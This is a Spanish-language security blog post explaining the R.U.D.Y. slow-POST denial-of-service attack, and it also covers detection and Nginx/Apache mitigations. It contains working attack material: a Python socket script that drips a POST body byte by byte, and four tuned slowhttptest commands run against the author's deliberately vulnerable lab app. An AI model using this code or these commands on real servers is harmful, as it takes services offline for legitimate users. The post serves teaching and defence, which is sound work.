cd ~/blog

~/vulns/dos-rudy.md

Ataque R U Dead Yet? (R.U.D.Y.)

dos 25-08-2025
rudyDoS

~8 min de lectura


1. ¿Qué es R.U.D.Y.?

R.U.D.Y. (R U Dead Yet?), es un ataque de denegación de servicio (DoS), que tiene como objetivo mantener un servidor web "atado" al enviar datos de formularios a un ritmo absurdamente lento. Una vulnerabilidad R.U.D.Y. se clasifica como un ataque bajo y lento, ya que se centra en la creación de unas pocas solicitudes prolongadas en lugar de sobrecargar un servidor con un alto volumen de solicitudes rápidas. Un ataque R.U.D.Y. con éxito, hará que el servidor de origen de la víctima no esté disponible para el tráfico legítimo.

2. ¿Cómo funciona un ataque R.U.D.Y.?

  • La herramienta detecta un formulario en la aplicación objetivo.

  • Crea una solicitud POST con un Content-Length grande (o usa Transfer-Encoding: chunked en variantes).

  • Envía el body en fragmentos muy pequeños (a veces 1 byte) con intervalos largos (segundos o decenas de segundos).

  • Mantiene la conexión indefinidamente o hasta agotar límites del servidor -> consume conexiones/memoria/workers.

Variante importante: algunos atacantes usan Transfer-Encoding: chunked en vez de Content-Length. El comportamiento de servidores y proxies frente a chunked puede diferir, por lo que ambos casos deben considerarse.

HTTP/2: como HTTP/2 multiplexa streams sobre una conexión, el impacto de “agotar sockets” es distinto. HTTP/2 y servidores event-driven (nginx, Caddy, envoy, servidores asíncronos) tienden a mitigar el efecto sobre workers, aunque sigue existiendo potencial de agotamiento de recursos (streams, memoria, CPU).

3. Herramientas

  1. SlowHTTPTest (slowhttptest) - herramienta principal para Slow POST / Slowloris

Repositorio mantenido y muy configurable. Soporta múltiples modos (Slow POST, Slow Read, Slow Headers, etc.), y tiene Dockerfile en su repo. Útil para reproducir R.U.D.Y.-like y otras variantes low-and-slow. https://github.com/shekyan/slowhttptest

  1. Implementaciones / forks de R.U.D.Y. (varios en GitHub)

Hay varias implementaciones/forks activas que replican el comportamiento R.U.D.Y. en Python/JS:

  • SergiDelta/rudy - implementación en Python con README y flags claros. Útil si quieres un script tipo “rudy.py” para pruebas locales. https://github.com/SergiDelta/rudy

  • darkweak/rudy, nosperantos/RUDY, sahilchaddha/rudyjs u otros forks - existen múltiples repos públicos que implementan R.U.D.Y.-style tools; el código y flags pueden variar entre forks, así que revisa el README del repo que uses. https://github.com/darkweak/rudy

  1. Slowloris / variantes de Slowloris
  • Repositorios de Slowloris (Python) siguen siendo un recurso útil para comparar vectores (headers incompletos vs slow POST). Buenas para pruebas de header-based slow DoS. Ejemplos y forks están ampliamente disponibles. https://github.com/gkbrk/slowloris
  1. Scripts personalizados y utilidades de sistema

Cuando necesites mayor control o reproducir un caso específico, puedes crear PoC simples:

  • curl + sleep en bucle (muy básico, menos eficiente).
  • netcat / ncat para enviar bytes manualmente con delays.
  • Python con requests o sockets para simular envíos byte-a-byte con time.sleep() entre envíos - facilita experimentar con intervalos exactos y Transfer-Encoding: chunked.

4. Ejemplo conceptual

Si tienes un formulario POST con campos name y message, un ataque R.U.D.Y. haría algo así:

POST /contact HTTP/1.1
Host: target.com
Content-Length: 1000000
Content-Type: application/x-www-form-urlencoded

m      (envía un carácter cada 5 segundos)
e
s
s
a
g
e
  • El servidor mantiene la conexión abierta esperando el resto de los datos.

  • Si muchas conexiones hacen lo mismo, se agota la capacidad de procesamiento.

Ejemplo conceptual en Python:

import socket, time

s = socket.create_connection(("192.168.1.10", 80))
s.sendall(b"POST /form HTTP/1.1\r\nHost: 192.168.1.10\r\nContent-Length: 1000000\r\n\r\n")

for ch in b"message":
	s.send(ch)
	time.sleep(5)  # 5 s entre bytes

Útil para entender detalles finos (ej.: Transfer-Encoding: chunked), pero solo en entornos controlados.

5. PoC

He desarrollado una aplicación vulnerable para estudiar el comportamiento y los efectos de ataques low-and-slow (R.U.D.Y. / Slowloris). El código fuente y los scripts de prueba están disponibles en el repositorio: github.com/wh01s17/rudy_vulnerable.

# clona el repo y ve al directorio del proyecto
git clone https://github.com/wh01s17/rudy_vulnerable
cd rudy_vulnerable

# crea y activa un virtualenv
python -m venv .venv
source .venv/bin/activate

# instala Django
pip install django

# aplica migraciones básicas
python manage.py migrate

# ejecuta el servidor
python manage.py runserver 0.0.0.0:8000

El repositorio incluye rudy_attack.sh, un script de ejemplo que arranca perfiles de slowhttptest para reproducir distintos escenarios de ataque en un entorno controlado.

Los comandos utilizados son:

slowhttptest -c 1000 -B -i 80 -r 200 -s 32768 -t POST -u ${TARGET}/form/ -x 20 -p 3 -l $DURATION

slowhttptest -c 800 -B -i 120 -r 150 -s 16384 -t POST -u ${TARGET}/form/ -x 15 -p 3 -l $DURATION

slowhttptest -c 700 -B -i 90 -r 120 -s 65536 -t POST -u ${TARGET}/upload/ -x 25 -p 3 -l $DURATION

slowhttptest -c 600 -H -t GET -u ${TARGET}/form/ -x 15 -p 3 -l $DURATION

Comando 1:

  • Modo Slow POST (-B): simula múltiples solicitudes POST que declaran un tamaño de cuerpo grande (vía Content-Length), pero envían ese cuerpo muy lentamente en pequeños fragmentos.

  • -c 1000: abrir hasta 1000 conexiones concurrentes.

  • -r 200: tasa de inicio de conexiones, 200 conexiones por segundo.

  • -i 80: intervalo entre envíos parciales (keep-alive chunks) - aquí 80 segundos entre cada fragmento enviado por conexión.

  • -s 32768: valor Content-Length declarado 32 768 bytes (simula un body grande).

  • -t POST: verbo HTTP POST.

  • -u ${TARGET}/form/: URL objetivo (sustituir ${TARGET}).

  • -x 20: tamaño máximo en bytes de cada fragmento enviado en los envíos parciales (hasta 20 bytes por chunk).

  • -p 3: timeout del probe/sondeo en segundos (tiempo que espera para considerar caída).

  • -l $DURATION: duración total de la prueba en segundos (variable pasada al script).

Comando 2:

  • Igual modo Slow POST (-B) dirigido a /form/.

  • -c 800: 800 conexiones concurrentes.

  • -r 150: 150 conexiones/segundo de arranque.

  • -i 120: intervalo entre fragmentos 120 segundos (envíos aún más espaciados).

  • -s 16384: Content-Length declarado 16 384 bytes.

  • -t POST, -u ${TARGET}/form/: POST hacia la ruta de formulario.

  • -x 15: fragmentos de hasta 15 bytes por envío.

  • -p 3, -l $DURATION: probe timeout y duración.

Comando 3:

  • Slow POST (-B) dirigido específicamente a la ruta /upload/.

  • -c 700: objetivo 700 conexiones concurrentes.

  • -r 120: 120 conexiones/segundo.

  • -i 90: intervalo entre fragmentos 90 segundos.

  • -s 65536: Content-Length declarado 65 536 bytes (simula una subida grande).

  • -t POST, -u ${TARGET}/upload/: POST hacia endpoint de subida.

  • -x 25: tamaño máximo de cada chunk 25 bytes.

  • -p 3, -l $DURATION: probe timeout y duración.

Comando 4:

  • Modo: Slowloris (-H). En lugar de enviar cuerpos POST lentos, mantiene abiertas solicitudes incompletas enviando cabeceras parciales.

  • -c 600: 600 conexiones concurrentes objetivo.

  • -H: activa el modo Slowloris (envío gradual de headers incompletos).

  • -t GET: usa verbo GET (aunque el ataque se centra en cabeceras incompletas).

  • -u ${TARGET}/form/: URL destino.

  • -x 15: tamaño máximo de cada fragmento de cabecera 15 bytes.

  • -p 3, -l $DURATION: probe timeout y duración de la prueba.

6. Slowloris vs R.U.D.Y.

  • Slowloris: mantiene solicitudes HTTP incompletas enviando cabeceras parciales/fragmentadas (headers) y evitando terminar la petición. No necesariamente envía cuerpos grandes; el foco está en las cabeceras incompletas.

  • R.U.D.Y. (R-U-Dead-Yet?): se centra en Slow POST - abre conexiones POST y anuncia un Content-Length grande, luego envía el cuerpo del POST lentamente en pequeños fragmentos. Es decir, el ataque actúa sobre el cuerpo de la petición.

AspectoSlowlorisR.U.D.Y. (Slow POST)
Vector principalCabeceras HTTP incompletas / fragmentadasCuerpo (body), de POST enviado muy lentamente
Método típicoCualquier método con headersPOST (métodos con body)
Qué mantiene abiertoSolicitudes con headers sin terminarConexiones con body parcialmente enviado
Lo que consumeSockets / slots de petición / workersSockets + posible memoria/estructuras para body
Característica temporalEnvíos frecuentes y muy pequeños de headersEnvíos poco frecuentes y pequeños del body
Indicador en access logsConexiones largas sin completar headersMuchos POST con Content-Length grande y bajas tasas de bytes recibidos
Stack más afectadoServidores síncronos que asignan worker por conexión (ej. Apache sin proxy)Aplicaciones que reservan buffers/leen body en memoria
Contramedida típicaTimeouts de parseo de headers, reverse proxyLímites de tamaño/throughput del body, procesamiento por chunks
Capa de ataqueAplicación (Layer 7)Aplicación (Layer 7)

⚠️ Estos perfiles buscan ocupar conexiones y recursos con técnicas "low-and-slow"; úsalos sólo en entornos controlados y con autorización.

7. Patrones de logs y señales

  • Muchas conexiones ESTABLISHED hacia el puerto web (ej. 8000/80/443).

  • Alto número de conexiones simultáneas originadas desde las mismas IPs o rangos pequeños.

  • Muchas POST con Content-Length alto en headers pero throughput por conexión muy bajo (bytes/s casi cero).

  • Peticiones GET o requests con cabeceras incompletas/fragmentadas que nunca terminan de enviarse.

  • request_time / upstream_time p95/p99 extremadamente altos en access logs.

  • Códigos inusuales en logs (ej.: 499, 408) o líneas con 0 bytes transferidos repetidas.

  • Logs de aplicación mostrando lectura parcial del body (mensajes tipo “received X bytes so far”) y procesamiento que dura minutos.

  • Uso de memoria por proceso web creciendo cuando hay muchas subidas lentas (indicio de bodies leídos en memoria).

  • Muchas conexiones desde una misma IP con actividad esporádica (pequeños envíos separados por largos intervalos).

  • Bajo ancho de banda total pero número de conexiones y latencia elevadas (baja carga por conexión, alta concurrencia).

Ejemplo de línea de access_log (formato nginx common + request_time):

192.0.2.5 - - [22/Oct/2025:12:34:56 +0000] "POST /contact HTTP/1.1" 200 512 "-" "UserAgent" 120.345
# 120.345 = request_time alto; bytes enviados (512) bajos respecto a Content-Length

Comandos para observar efectos en servidor (diagnóstico):

# sockets por puerto
ss -tn state established '( dport = :80 or dport = :443 )'

# conteo conexiones por IP
ss -tn state established | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr | head

# ver procesos que consumen RAM/CPU
top -o %MEM

# métricas nginx (si stub_status activado)
curl http://127.0.0.1/nginx_status
  • Si Content-Length > X y bytes_sent < Content-Length * 0.1 y request_time > T, marcar como sospechoso.

  • Si misma IP mantiene > N conexiones ESTABLISHED por > S segundos, elevar alerta.

8. Mitigación y defensa más comunes contra ataques como Slowloris y R.U.D.Y.

  • Limitar el tiempo máximo de conexión (timeouts) para cabeceras y cuerpos HTTP.

  • Configurar límites de tamaño mínimo y máximo del body en peticiones POST.

  • Implementar balanceadores de carga o reverse proxies (como Nginx, HAProxy o Cloudflare).

  • Utilizar firewalls de aplicación web (WAF) con detección de patrones de tráfico lento o incompleto.

  • Establecer límites en el número de conexiones simultáneas por IP.

  • Emplear módulos anti-Slowloris en servidores (por ejemplo, mod_reqtimeout en Apache o limit_req_zone en Nginx).

  • Implementar mecanismos de rate limiting.

  • Usar detección de comportamiento anómalo (IDS/IPS) para identificar conexiones sospechosas.

  • Activar Keep-Alive con límites de duración o deshabilitarlo según el contexto.

  • Monitorear métricas de red y servidor (latencia, número de conexiones abiertas, tiempos de respuesta).

  • Configurar respuestas automáticas a conexiones o peticiones incompletas (reset de conexión).

  • Utilizar herramientas de mitigación DDoS especializadas o servicios en la nube.

Ejemplo de mitigación con Nginx:

# timeouts y límites
client_header_timeout 10s;
client_body_timeout 10s;
client_max_body_size 10m;

# limitar conexiones por IP
limit_conn_zone $binary_remote_addr zone=addr:10m; limit_conn addr 10;

# rate limiting básico
limit_req_zone $binary_remote_addr zone=req:10m rate=10r/s;
limit_req zone=req burst=20 nodelay;

Ajusta timeouts/límites según tráfico legítimo. Los valores muy agresivos rompen clientes lentos reales.

Ejemplo con Apache (mod_reqtimeout):

RequestReadTimeout header=10-20,minrate=500 body=20,minrate=500

R.U.D.Y. nos demuestra cómo una funcionalidad legítima, como la aceptación de formularios con bodies largos, puede transformarse en un vector devastador si no se controla adecuadamente.

Aplicar timeouts diferenciales (headers/body), procesar el body por streams, usar reverse proxies/WAF y establecer límites por IP son prácticas esenciales para proteger aplicaciones contra este tipo de ataques.

Espero que este material te sirva para detectar y mitigar R.U.D.Y. de forma efectiva. ¡Hasta el próximo post!

// relacionados